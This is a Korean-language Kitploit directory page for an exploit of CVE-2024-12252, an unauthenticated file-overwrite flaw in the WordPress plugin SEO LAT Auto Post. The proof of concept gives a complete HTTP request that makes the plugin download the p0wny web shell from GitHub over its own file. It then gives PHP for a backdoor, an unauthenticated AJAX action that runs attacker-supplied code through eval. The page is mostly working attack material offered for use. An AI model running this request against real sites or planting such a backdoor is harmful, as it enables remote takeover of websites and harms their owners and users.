Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-12252 — SEO LAT Auto Post <= 2.2.1 - 파일 덮어쓰기/업로드에 대한 인증 누락 (원격 코드 실행) | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2024-12252
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubrandomrobbiebf/cve-2024-12252

CVE-2024-12252

SEO LAT Auto Post <= 2.2.1 - 파일 덮어쓰기/업로드에 대한 인증 누락 (원격 코드 실행)

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-12252

SEO LAT Auto Post <= 2.2.1 - 파일 덮어쓰기/업로드 권한 누락 (원격 코드 실행)

설명

WordPress용 SEO LAT Auto Post 플러그인은 2.2.1 이하의 모든 버전에서 remote_update AJAX 액션에 대한 기능(capability) 검사가 누락되어 파일 덮어쓰기 취약점이 있습니다. 이를 통해 인증되지 않은 공격자가 seo-beginner-auto-post.php 파일을 덮어써서 원격 코드 실행을 달성할 수 있습니다.

세부 정보

  • 유형: 플러그인
  • 슬러그: seo-beginner-auto-post
  • 영향받는 버전: 2.2.1
  • CVSS 점수: 9.8
  • CVSS 등급: 치명적
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2024-12252
  • 상태: 종료됨

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php

이렇게 하면 https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php 파일이 덮어써집니다. 현재 플러그인을 수정하고 RCE를 위한 nopriv 액션을 추가하는 것이 좋습니다. https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php

다음과 같은 함수를 추가하세요.

root@kitploit:~


// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');

// The callback function
function execute_code_callback() {
    // Get the code to execute from the request
    $code = $_POST['code'];

    // Execute the code
    eval($code);

    // Return a success message
    echo 'Code executed successfully!';
    wp_die();
}
도구 다운로드